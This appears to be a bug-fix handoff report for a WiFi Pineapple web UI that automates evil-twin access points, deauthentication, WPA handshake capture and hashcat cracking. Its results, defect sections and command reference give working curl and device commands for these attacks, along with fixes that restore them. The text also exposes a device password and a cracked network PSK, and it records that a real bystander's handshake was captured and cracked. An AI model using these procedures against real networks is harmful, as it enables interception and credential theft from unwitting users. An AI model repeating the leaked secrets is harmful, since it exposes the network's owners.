# Mark-VIII PineAP Attack Validation — 2026-08-23 > ## Fix round 2026-08-23 (post-validation) — status update > > All defects below were fixed and re-validated live on the same hardware. > > - **BUG 1 — FIXED.** `DEAUTH_CLIENT` → `PINEAPPLE_DEAUTH_CLIENT` at both call sites. > Live: `/api/attacks/deauth` and `/api/pineap/clients/kick` return `ok:true`; on-wire effect > confirmed (client dropped from the twin, kept off by kick's deny filter; re-associates after > filter clear). > - **BUG 2 — FIXED.** `_allow_all_ssids()` now issues `PINEAPPLE_NETWORK_FILTER_MODE deny`. > Live: after any deploy, `GET /api/pineap/filters/ssid` reads `deny` + empty without manual help, > and clients associate to twins unaided. > - **BUG 3 — FIXED (root cause found by live experiment).** Two independent causes: > 1. **eap_user_file grammar.** `hostapd_get_eap_user()` never wildcard-matches a bare `*` > identity for phase-2 lookups (`!phase2` guard); phase-2 entries need a *quoted* identity. > The fix uses quoted empty prefix `""* "" [2]`, which prefix-matches any > inner identity. Proven against stock hostapd 2.10 on a wired veth loopback first, then > live on the Pager. > 2. **`pineapd.@hostapd[0].pineape_auth_pass='1'`** makes the karma hostapd forward inner EAP > to pineapd, which has no responder for a standalone AP → instant inner EAP-Failure after > the TLS tunnel. Deploy now forces it to `0` (standalone hostapd terminates inner > MSCHAPv2/GTC/PAP itself); stop restores `1`. > Live: API-deployed enterprise twin + PEAP/MSCHAPv2 client → repeated full > `CTRL-EVENT-CONNECTED` (EAP success + 4-way) on firmware wpad 2.12-devel. > - **BUG 3 residual (firmware-blocked):** plaintext credential *capture* is not possible on > 24.10.1: the patched wpad compiles out MSG_DEBUG/MSG_MSGDUMP stdout logging (no MSCHAPv2 > hexdumps anywhere), `-f ` is silently ignored (fd1→/dev/null), and passthrough mode > cannot work without an upstream RADIUS backend. With `auth_pass=0` nothing feeds > `hostap_basic`/`hostap_chalresp`. Phase-1 outer identities remain sniffable in plaintext > via the capture API. This limitation is documented in code comments. > - **Secondary `-f` bug — FIXED:** `_start_ent_hostapd` no longer passes `-f` at all. > - **ISSUE 4 — FIXED:** 5 GHz WPA deploys now set `pineapd.@hostapd[0].mgmtiface=wlan1wpa` > so pineapd recognizes the radio1 twin (same mechanism that populates `hostap_client`); > cleared again on stop. > - **ISSUE 5 — MITIGATED:** radio0 daemon `set_ap` path now polls up to 90 s across the > `wifi reload` window and retries `set_ap` once if the iface still hasn't appeared. > Live deploy verified `true` first try. > - **ISSUE 6 — FIXED:** skill docs now use `llc && eth.type == 0x888e` instead of `eapol`. > - **ISSUE 7 — FIXED:** capture state helper detects dead-pid / iface-down, kills leftovers, > cleans the pidfile, and status reports `{running:false, stale:true}` instead of a zombie > `running:true`. Verified live by killing tcpdump under an active capture. > - Test suite: 463 tests green (was 457 with 6 pre-existing failures caused by global > `os.path` monkeypatch leaks between test modules — also fixed). New regression coverage: > deauth app name, SSID-filter-mode app name, eap_users grammar, `pineape_auth_pass` > set/restore, capture stale detection, radio0 set_ap retry. > - New firmware quirks discovered while fixing (document here for future rounds): > - `PINEAPPLE_DEVICE_FILTER_DELETE deny ` returns rc=0 but does NOT remove the entry; > only `_CLEAR` works. The kick regression "delete entry → re-associate" must use clear. > - dropbear rate-limits rapid successive SSH logins ("Permission denied" bursts). > - Killing hostapd while another instance holds the phy iface wedges cfg80211 into D-state > (known §5 issue): never tear down wlan1ent while a foreign hostapd still runs. --- **Status:** Suite executed against a live WiFi Pineapple Pager (firmware `Pineapple Pager 24.10.1`, hostname-reachable at `root@172.16.52.1`, Mark VIII UI on `:8080`) with a Kali victim client (`bzuccaro@192.168.1.103`, wlan0 `a0:a4:c5:93:f8:05`). Both reachable with password "Bryce9205" **Purpose of this document:** hand off every validated behavior and every defect to a fixing model. Each defect has an exact `file:line`, reproduction, root cause, and recommended fix. Everything below was observed live; no assertion is speculative. Device evidence lives under `/root/loot/**` on the pineapple and `/tmp/znet*.hc22000` on Kali. **In-scope networks (authorized):** - `Znet` — WPA2 (actually SAE-mixed per on-air RSN: `[WPA2-SAE+FT/SAE-CCMP][SAE-H2E]`), 5 GHz BSSIDs on ch 36 / 44 / 48 / 108 / 116 / 153. PSK = `EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY`. - `Znet-Open` — open (enc `0` in recon DB), 2.4 GHz ch 6 (`B6:8B:A9:17:2A:6E`) and ch 11 (`B6:8B:A9:17:47:33`). --- ## 1. Results summary | # | Attack / capability | Result | Evidence | |---|---|---|---| | 1 | Evil WPA (PSK) 5 GHz — radio1 `wlan1wpa` | **PASS** | Twin authenticated Kali + 2 real clients; 4-way captured on `wlan1mon`; `.hc22000` cracked → PSK recovered. | | 2 | Evil WPA (PSK) 2.4 GHz — radio0 `wlan0wpa` | **PASS** (flaky deploy) | 4-way captured on `wlan0mon`; cracked → PSK recovered. | | 3 | Evil Open — radio0 `wlan0open` (BSSID-spoofed) | **PASS** | Kali associated to spoofed-BSSID twin; bidirectional IP/DNS/TCP captured on `wlan0mon`. | | 4 | Evil Enterprise — standalone `wlan1ent` PineAPE | **FAIL** | AP + TLS tunnel work; **inner EAP auth never completes**; zero credentials captured. | | 5 | Deauth — `/api/attacks/deauth`, `/api/pineap/deauth/client` | **FAIL (bug)** | `unknown app DEAUTH_CLIENT`. Underlying `PINEAPPLE_DEAUTH_CLIENT` works (on-wire deauth frames). | | 6 | Client kick — `/api/pineap/clients/kick` | **FAIL (same bug)** | Deny filter set, but deauth half fails → client never actually kicked. | | 7 | Attack capture API (`/api/attacks/capture`) | **PASS** | tcpdump start/stop/status on `wlan0mon`/`wlan1mon`; pcaps analyzable. | | 8 | Handshake export (`/api/attacks/export/hc22000`) | **PASS** | Valid `.hc22000`; cracked with `hashcat -m 22000`. | | 9 | PineAP settings / filters API | **PASS** | mode/add/delete/clear; **gotcha:** `allow`+empty blocks karma association. | | 10 | MCP harness (`POST /mcp`) | **PASS** | all tools; `attack.deauth` inherits bug #5. | | 11 | Web UI click-through | **PASS** | login → Evil WPA deploy ("Applied and verified on device", LIVE) → capture → export → stop. | **Two critical defects to fix first:** #5 (deauth/kick, one-character-class bug) and #6's hidden twin #2 (`_allow_all_ssids` short-name bug that blocks all evil-twin association until a human sets the filter to deny). See §3. --- ## 2. Environment notes (facts the fixer needs) ### 2.1 hak5cmd dispatches by FULL app name as `argv[1]` `/usr/bin/hak5cmd` (Pager 1.1.0) is dispatched by app name. Invoking the symlinks (`/usr/bin/PINEAPPLE_DEAUTH_CLIENT`) or passing the full `PINEAPPLE_*` name as `argv[1]` both work: ```sh hak5cmd DEAUTH_CLIENT # FAILS: "unknown app DEAUTH_CLIENT" hak5cmd PINEAPPLE_DEAUTH_CLIENT # rc=0, deauth frames on wire /usr/bin/PINEAPPLE_DEAUTH_CLIENT # rc=0 ``` Verified app names present on the unit (from `hak5cmd` with no args): `PINEAPPLE_DEAUTH_CLIENT`, `PINEAPPLE_DEVICE_FILTER_*`, `PINEAPPLE_MAC_FILTER_*`, `PINEAPPLE_NETWORK_FILTER_*`, `PINEAPPLE_SSID_FILTER_*`, `PINEAPPLE_SSID_POOL_*`, `PINEAPPLE_HOPPING_*`, `PINEAPPLE_MIMIC_*`, `PINEAPPLE_EXAMINE_*`, `PINEAPPLE_RECON_*`, `PINEAPPLE_SET_BANDS`, `PINEAPPLE_LOOT_ARCHIVE`. The `hak5()` helper (`server.py:5646`) passes `[HAK5CMD] + args` and the filter calls in the codebase use full names (those work). The deauth and `_allow_all_ssids` calls use short names (broken). ### 2.2 SSID / client filter semantics on this firmware - Filter mode **`allow`** = whitelist. With an empty list this makes karma respond to **nothing**, so clients **cannot associate** to evil twins. - Filter mode **`deny`** = blacklist (allow-by-default). With an empty list everything is allowed. - The evil-twin flow **requires** both SSID and client filters in `deny` mode with empty lists. - Mark VIII's `_allow_all_ssids()` is *supposed* to set the SSID filter to `deny` but is broken (bug #2). ### 2.3 Deauth injection phy `h_attacks_deauth` chooses the inject interface from the channel band (`wlan1mon` for 5/6 GHz, `wlan0mon` for 2.4 GHz) and switches `_pineap INTERFACE INJECT` for 2.4 GHz. On 5 GHz the phy is pinned by the active AP interface, so deauth on a 5 GHz evil twin's channel works. The 5 GHz monitor (`wlan1mon`) does **not** reliably show injected 5 GHz deauth frames (phy1 beacon-offload quirk), so on-wire deauth proof for 5 GHz is best done on 2.4 GHz (`wlan0mon`) where own-TX is visible, or via client-side disconnect logs. ### 2.4 Capture filter quirk On this firmware's monitor interfaces `tcpdump -r cap 'eapol'` matches **0** frames even when EAPOL is present. The working filter is `llc and ether proto 0x888e`. (Affects any analysis/tooling that grep's `eapol`.) ### 2.5 pineapd UCI baseline (guard-enforced known-good) `pineapd.@hostapd[0].wpaiface='wlan0wpa'` (only the 2.4 GHz WPA iface is the daemon's "own AP"). `mgmtiface='wlan0mgmt'`. `wlan1mon.hop` baseline is `0` in the guard set (`PINEAPD_SAFE_UCI`, `server.py:4639`); monitors park between scans, hopping resumes during recon. ### 2.6 Reliability core interactions observed The rollback watchdog arms around `attack_deploy` / `attack_stop` and restores the pre-op UCI snapshot if local liveness (UI `:8080` + monitor presence) fails for sustained ticks. Rapid deploy/stop cycles that drop the radios trigger restores that can **resurrect older AP states** (the `wlan0open` Znet-Open twin reappeared twice after we had stopped it). The watchdog self-exits after ~120 quiet ticks. --- ## 3. Defects to fix (ranked) ### BUG 1 — CRITICAL: Deauth / kick invoke the wrong hak5cmd app name **Impact:** `/api/attacks/deauth`, `/api/pineap/deauth/client`, `/api/pineap/clients/kick` (deauth half), and MCP `attack.deauth` / `pineap.kick_client` all fail with `unknown app DEAUTH_CLIENT`. The **entire deauth attack is non-functional through Mark VIII.** **Locations (all in `payload/user/remote_access/pager-webui/server.py`):** - `server.py:3009` — `_deauth_client_via_iface()` ```python rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, mac, str(channel)], timeout=30) ``` - `server.py:4602` — `h_attacks_deauth()` ```python rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, client, str(channel or 1)], timeout=30) ``` - `h_client_kick` (`server.py:963`) and MCP `kick` (`server.py:5368`) both call `_deauth_client_via_iface`, so fixing `3009` fixes them. Their filter half (`PINEAPPLE_DEVICE_FILTER_*`) is already correct. **Root cause:** short name `DEAUTH_CLIENT`; hak5cmd requires the full app name `PINEAPPLE_DEAUTH_CLIENT` (see §2.1). `HAK5CMD` defaults to `/usr/bin/hak5cmd` (`server.py:31`). **Fix:** replace `'DEAUTH_CLIENT'` with `'PINEAPPLE_DEAUTH_CLIENT'` at `server.py:3009` and `:4602`. **Verification (live-proven):** ```sh # before fix curl -b cookie -H 'Content-Type: application/json' \ -d '{"bssid":"B6:8B:A9:17:2A:6E","client":"A0:A4:C5:93:F8:05","channel":6}' \ http://172.16.52.1:8080/api/attacks/deauth # => {"error":"deauth failed","detail":"unknown app DEAUTH_CLIENT\n"} # working device-level invocation (deauth client from our own evil twin): /usr/bin/PINEAPPLE_DEAUTH_CLIENT B6:8B:A9:17:2A:6E A0:A4:C5:93:F8:05 6 # rc=0 # on-wire proof on wlan0mon: tcpdump -r cap -nn 'wlan type mgt subtype deauth' # SA=spoofed BSSID, DA=client ``` Regression check: run `/api/pineap/clients/kick` on an associated client and confirm it is disconnected AND stays disconnected while the deny filter is present; then `delete` the filter entry and confirm re-association works. --- ### BUG 2 — CRITICAL: `_allow_all_ssids()` uses a short name and silently fails **Impact:** after every evil-twin deploy, karma remains in `allow` (whitelist) mode → **no client can associate to the twin**. This is why the Evil Open association only worked after a human set the filter to `deny` via the API. **Location:** `server.py:3691-3695` ```python def _allow_all_ssids(): """Set the SSID filter to deny mode (allow-by-default) so karma responds to any probed SSID.""" rc, out, err = device_run([HAK5CMD, 'SSID_FILTER_MODE', 'deny'], timeout=30) return rc == 0 ``` `SSID_FILTER_MODE` is a short name. The valid app names on this unit are `PINEAPPLE_SSID_FILTER_MODE` and `PINEAPPLE_NETWORK_FILTER_MODE`. The return value is ignored by all callers (`_deploy_wpa_open` at `:3774`, `_deploy_enterprise` at `:4277`), so it fails silently. **Fix:** use a full app name. Consistency check: the filter API for `ssid` kind uses prefix `PINEAPPLE_NETWORK_FILTER` (`server.py:5722`), and the deployed `pineapd.@ssid_filter[0].mode` is `deny` in the guard baseline — but the live daemon readback was `allow` after deploy, proving the call did not land. Verify on-device that the chosen name flips `GET /api/pineap/filters/ssid` to `{"mode":"deny"}`. **Verification:** ```sh curl -b cookie http://172.16.52.1:8080/api/pineap/filters/ssid # must show "deny" after a deploy ``` --- ### BUG 3 — HIGH: Evil Enterprise credential capture broken (inner EAP never completes) **Impact:** the Enterprise attack is non-functional: the AP comes up, clients associate, the TLS tunnel builds, but the server immediately sends EAP-Failure after the phase-2 identity for every inner method (MSCHAPv2, GTC, TTLS-PAP). **Zero credentials** land in `hostap_basic`, `hostap_chalresp`, or `/root/loot/enterprise/captures.json`. **Locations:** - `_eap_users_text` — `server.py:3836-3853` (writes the `eap_user_file`) - `_deploy_enterprise` — `server.py:4217-4325` - `_ent_conf_text` — `server.py:4102` - `_start_ent_hostapd` — `server.py:4173-4202` - `_ensure_ent_certs` — `server.py:3875` **Observed behavior (reproducible):** - Deploy succeeds (`verified: true`, `ctrl_linked: true`, hostapd `state=ENABLED` on `wlan1ent`, bssid `02:13:37:ae:8e:7c`, ch44, `ieee8021x=1 eap_server=1 wpa_key_mgmt=WPA-EAP`). - Kali (PEAP/MSCHAPv2, PEAP/GTC, and TTLS/PAP all tried) associates and the outer TLS tunnel completes; the client then sees `EAP-PEAP: Phase 2 Failure` / `EAP-Failure`. - hostapd (karma-patched `wpad`, v2.12-devel) logs: ``` IEEE 802.1X: authentication failed - EAP type: 0 (unknown) IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP) ``` - `eap_user_file` parser on this build **requires quoted identities** for non-wildcard entries: unquoted `victim@znet.local` → `Invalid EAP identity (no " in start) on line 1`. **eap_users formats tried, all failing identically:** 1. `* PEAP,TTLS` + `* MSCHAPV2,TTLS-MSCHAPV2,TTLS-MSCHAP "pw" [2]` (what the code writes today) 2. `* PEAP,TTLS` + `* MSCHAPV2 "pw"` (no `[2]`) 3. `* PEAP,TTLS` + `* MSCHAPV2 "pw" [2]` 4. `"*" PEAP,TTLS` + `"*" MSCHAPV2 "pw" [2]` (quoted wildcards) 5. `victim@znet.local PEAP,TTLS` + `victim@znet.local MSCHAPV2 "pw"` (unquoted → parse error) 6. `"victim@znet.local" PEAP,TTLS` + `"victim@znet.local" MSCHAPV2 "pw"` (quoted exact) 7. `* PEAP,TTLS` + `* TTLS-PAP "pw"` (client `eap=TTLS phase2="auth=PAP"`) — also fails 8. Passphrase matched (`VictimPass123!`) and mismatched (`dummy`) — no difference **Fixer investigation pointers (open questions):** - Verify whether `pineap_enable` / `pineape_enable` / `pineape_auth_enable` on the standalone instance actually arm PineAPE auth-capture on this build (they return `OK`, and the startup log shows `PINEAP: setting MAC filter mode DENY`, but no capture events ever appear). - Confirm the correct `eap_user_file` grammar for THIS `wpad` build (source of the `[2]` flag and whether a phase-2-only entry is required for the inner lookup). - Test with a controlled EAP client (`eapol_test` from a host with `wpa_supplicant` dev headers) and with syslog `logger_syslog_level=0` on the instance to see why the inner method is never offered. - Compare the Mark VIII standalone conf to what the stock daemon would generate for `set_ap` enctype `wpa2` (the daemon path is broken with `eap_server_erp=1`; confirm whether removing just that key makes the stock path capture). - `hostap_basic` / `hostap_chalresp` are populated by pineapd from the karma hostapd socket; confirm `pineapd.@hostapd[0].mgmtiface='wlan1ent'` is sufficient (it is set and survives), and whether `/etc/init.d/pineapd reload` after deploy is enough. **Verification:** with a fixed enterprise deploy, a PEAP/MSCHAPv2 client must (a) complete `EAPOL` successfully, and (b) yield rows in `hostap_basic` (identity) and `hostap_chalresp` (challenge/response), which must appear in `GET /api/pineap/enterprise/radius` and be crackable via `GET /api/pineap/enterprise/export/hashcat` (`hashcat -m 5500`). **Secondary bug found while here:** `_start_ent_hostapd` (`server.py:4173`) starts hostapd with `-f ENT_LOG` on the first attempt but **drops `-f` on the fallback attempt** (`server.py:4183`), so the enterprise log file stays empty — the fixer will need another log channel (syslog) while debugging. --- ### ISSUE 4 — MEDIUM: 5 GHz handshake loot pipeline (`hostap_handshake` / `/root/loot/handshakes`) never populates **Symptom:** handshakes complete on the radio1 twin (`wlan1wpa`) — `hostapd` logs `EAPOL-4WAY-HS-COMPLETED ` — but `hostap_handshake` stays empty and no files are written to `/root/loot/handshakes`. The Handshakes/Loot UI shows 0. **Likely root cause:** `pineapd.@hostapd[0].wpaiface='wlan0wpa'` only (2.4 GHz). pineapd treats `wlan0wpa` as its own handshake-logging AP; the radio1 `wlan1wpa` twin (created via the UCI/radio1 path, `_apply_radio1_ap`) is not recognized, so pineapd never logs own-AP handshakes for it. **Working path (validated end-to-end):** the monitor capture API + export: 1. `POST /api/attacks/capture {iface:wlan1mon, action:start}` before the client connects. 2. Client 4-way happens → the pcap contains EAPOL (`tcpdump -r cap 'llc and ether proto 0x888e'`). 3. `GET /api/attacks/export/hc22000` → hcxpcapngtool → `.hc22000` → `hashcat -m 22000` cracks it. **Fixer options:** either teach the deploy to make pineapd recognize the radio1 WPA iface (careful: `wpaiface` is a single shared daemon setting; two ifaces may need a list or the mgmtiface trick), or surface the monitor-capture+export flow as the supported 5 GHz evidence path. The UI's "Handshakes Captured" counter reads `hostap_handshake` and will show 0 for 5 GHz until this is fixed. --- ### ISSUE 5 — MEDIUM: 2.4 GHz (`radio0` daemon `set_ap`) attack deploy is flaky **Symptom:** `_deploy_wpa_open` 2.4 GHz path (`server.py:3725-3753`) calls the daemon `PUT /api/settings/wifi/set_ap` for `wlan0wpa`/`wlan0open`. The resulting `wifi reload` drops the radios for ~40–60 s (during which `iw dev` can show zero interfaces and the deploy poll may return `verified: false`). Afterwards: - the stock daemon can revert the UCI (`wlan0wpa.ssid` back to `pager-wpa`, `disabled=1`), and - the reliability rollback watchdog can restore an older snapshot (resurrecting a previously stopped AP, e.g. the `wlan0open` Znet-Open twin reappeared twice). **Workarounds that made it work:** deploy once → poll `iw dev wlan0wpa info` until `ssid Znet` → start a **fresh** capture (the old one died when the radios dropped) → connect the client. The handshake then captures and cracks normally. **Fixer pointers:** make the deploy poll tolerate the radio-restart window (the 5 GHz/radio1 UCI path already behaves better); consider whether the radio0 path should write UCI + `wifi reload` instead of the daemon `set_ap`, and whether the watchdog should be suppressed until the radios reconverge. --- ### ISSUE 6 — LOW: tcpdump `eapol` filter matches nothing on this firmware Use `llc and ether proto 0x888e` instead. Relevant to any in-app capture analysis, docs, or tooling that filters on `eapol`. ### ISSUE 7 — LOW: monitor capture dies when the radio restarts mid-capture When a `wifi reload` drops the monitor iface during a capture, the pcap ends up with 1 frame while the API still reports `running: true` (the tcpdump process is gone). The capture API should detect iface-down / dead-pid and either restart or report stopped. --- ## 4. Per-attack validation evidence (for the report) ### 4.1 Evil WPA 5 GHz — PASS (crackable) - Deploy: `POST /api/attacks/deploy {"kind":"wpa","ssid":"Znet","passphrase":"EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY","enctype":"psk2","channel":44}` → `{"iface":"wlan1wpa","band":"5","verified":true}`. - AP live: `wlan1wpa` BSSID `02:13:37:ae:8e:7c`, hostapd `wpa=2 key_mgmt=WPA-PSK`. - Client auth: `wpa_supplicant` completed full 4-way (`Key negotiation completed`, PTK=CCMP GTK=CCMP); hostapd logged `EAPOL-4WAY-HS-COMPLETED a0:a4:c5:93:f8:05`; a real nearby client (`e6:75:7f:45:fd:57`) also got caught (full handshake) and another (`68:9e:19:d1:6e:e1`) hit a PSK mismatch (evidence the twin attracts real clients). - Capture: `wlan1mon` pcap held 170 EAPOL key frames. - Convert: `hcxpcapngtool -o /root/loot/hc22000/znet.hc22000 hs_client.cap`. - Crack (on Kali): `hashcat -m 22000 /tmp/znet.hc22000 /tmp/wl.txt --potfile-disable` ``` 9b029677bdecbadd3bc3c3a211627f96:021337ae8e7c:a0a4c593f805:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY 329438490c9d7af672eb01f2ceb26bc0:021337ae8e7c:e6757f45fd57:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY ``` Both our client and the real client's handshakes cracked to the real PSK. ### 4.2 Evil WPA 2.4 GHz — PASS (crackable, flaky deploy) - Deploy `channel:6` → `wlan0wpa` (daemon `set_ap`). First two attempts `verified:false` and reverted by the daemon/watchdog; final attempt `verified:true`. Fresh `wlan0mon` capture, client connected, 4-way captured (`EAPOL key v1/v2`), hostapd `EAPOL-4WAY-HS-COMPLETED`. - Crack: `8533e8028891cf997bbaf0d1880ca4be:001337aee050:a0a4c593f805:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY`. ### 4.3 Evil Open (Znet-Open) — PASS - Deploy `{"kind":"open","ssid":"Znet-Open","channel":6,"bssid":"B6:8B:A9:17:2A:6E","country":"US"}` → `wlan0open` live with **spoofed BSSID** `b6:8b:a9:17:2a:6e` (= real AP MAC), hostapd ENABLED. - Association initially FAILED until the SSID/client filters were set to `deny` via the API — this is bug #2 manifesting. After the fix to bug #2, the client associates (wpa_supplicant COMPLETED on the spoofed BSSID; `/api/pineap/clients` shows `A0:A4:C5:93:F8:05` on `wlan0open`). - Data plane through the twin (client IP `172.16.52.99/24` on the twin): - `ping 172.16.52.1` → 4/4 replies - DNS `172.16.52.99 > 172.16.52.1.53` query + NXDOMAIN reply - TCP SYN `172.16.52.99 -> 172.16.52.1.80` All captured on `wlan0mon` (`attack_wlan0mon_1787506980.cap`). This is the on-wire MITM proof. ### 4.4 Evil Enterprise — FAIL (see BUG 3) - AP verified, ctrl linked, client association recorded in `hostap_client` (visible in `/api/pineap/enterprise/radius` `clients`), but zero credentials anywhere. ### 4.5 Deauth / kick — FAIL via API (BUG 1), working at device level - Device-level (works): `/usr/bin/PINEAPPLE_DEAUTH_CLIENT `; on-wire deauth frames (SA=spoofed BSSID, "Unspecified reason") captured on `wlan0mon`; client dropped. - API (broken): see BUG 1. - Kick: deny filter is applied (`/api/pineap/filters/client` shows the MAC) but the deauth half fails, so the client re-associates and is never kicked. ### 4.6 Capture / export / filters / MCP / UI — PASS - Capture API start/stop/status both ifaces; export produced `/root/loot/hc22000/handshakes_*.hc22000`; filter set_mode/add/delete/clear; MCP `tools/list` + `attack.deploy|stop|status|capture`, `loot.handshakes`, `loot.enterprise_creds`, `recon.isearch`; UI full flow on the Evil WPA page. --- ## 5. Recovery & hygiene observed during the suite - **Reboot was required once:** after `_disable_enterprise_ap()` raced our manual hostapd kills, the enterprise hostapd (`hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf`) entered D-state (uninterruptible) holding a cfg80211 lock; `iw dev` hung indefinitely. `reboot` cleared it; Mark VIII auto-restarted (`/etc/init.d/pagerwebui` → `running`), pineapd PONG, monitors up, health `pass`. `mk8-guard` re-applied safe UCI on boot. - Final device state after cleanup: all attacks stopped, no leftover APs, no tcpdump, 1 watchdog self-exiting, Kali restored to `Znet`, `/api/health` env `pass`. - Evidence remains on devices: `/root/loot/pcap/attack_*.cap` (6 files), `/root/loot/hc22000/` (`znet.hc22000`, `znet24.hc22000`, `handshakes_*.hc22000`), extracted `/root/loot/pcap/hs_client.cap`, `hs_client_24.cap`; on Kali `/tmp/znet.hc22000`, `/tmp/znet24.hc22000`. --- ## 6. Reproduction command reference ```sh # login curl -c cj -H 'Content-Type: application/json' \ -d '{"username":"root","password":""}' http://172.16.52.1:8080/api/login # deploy evil wpa 5g / 2.4g / open / enterprise curl -b cj -H 'Content-Type: application/json' \ -d '{"kind":"wpa","ssid":"Znet","passphrase":"","enctype":"psk2","channel":44}' \ http://172.16.52.1:8080/api/attacks/deploy # status / stop / capture / export curl -b cj http://172.16.52.1:8080/api/attacks/status curl -b cj -H 'Content-Type: application/json' -d '{"kind":"wpa"}' http://172.16.52.1:8080/api/attacks/stop curl -b cj -H 'Content-Type: application/json' -d '{"action":"start","iface":"wlan1mon"}' http://172.16.52.1:8080/api/attacks/capture curl -b cj http://172.16.52.1:8080/api/attacks/export/hc22000 # filter checks (must be "deny" + empty for evil twins) curl -b cj http://172.16.52.1:8080/api/pineap/filters/ssid curl -b cj http://172.16.52.1:8080/api/pineap/filters/client curl -b cj -H 'Content-Type: application/json' -d '{"action":"set_mode","mode":"deny"}' http://172.16.52.1:8080/api/pineap/filters/ssid curl -b cj -H 'Content-Type: application/json' -d '{"action":"set_mode","mode":"deny"}' http://172.16.52.1:8080/api/pineap/filters/client # device-level deauth (works) vs API (broken) /usr/bin/PINEAPPLE_DEAUTH_CLIENT curl -b cj -H 'Content-Type: application/json' \ -d '{"bssid":"","client":"","channel":6}' http://172.16.52.1:8080/api/attacks/deauth # crack hashcat -m 22000 znet.hc22000 wl.txt --potfile-disable ``` --- ## 7. Suggested fix order 1. **BUG 1** (deauth app name) — 2-line change, restores deauth + kick + MCP deauth/kick. 2. **BUG 2** (`_allow_all_ssids` app name) — restores evil-twin association for all attack types. 3. **BUG 3** (enterprise inner EAP) — needs the investigation in §BUG 3 before a fix. 4. **ISSUE 4** (5 GHz loot pipeline) — decide capture-path vs. daemon-recognition. 5. **ISSUE 5** (radio0 deploy flakiness) + **ISSUE 6/7** (capture nits) — hardening. Add regression coverage to `tests/test_attacks.py` (assert `PINEAPPLE_DEAUTH_CLIENT` is used) and to `tests/test_pineap_*.py` for the filter-mode assertion (deny-after-deploy).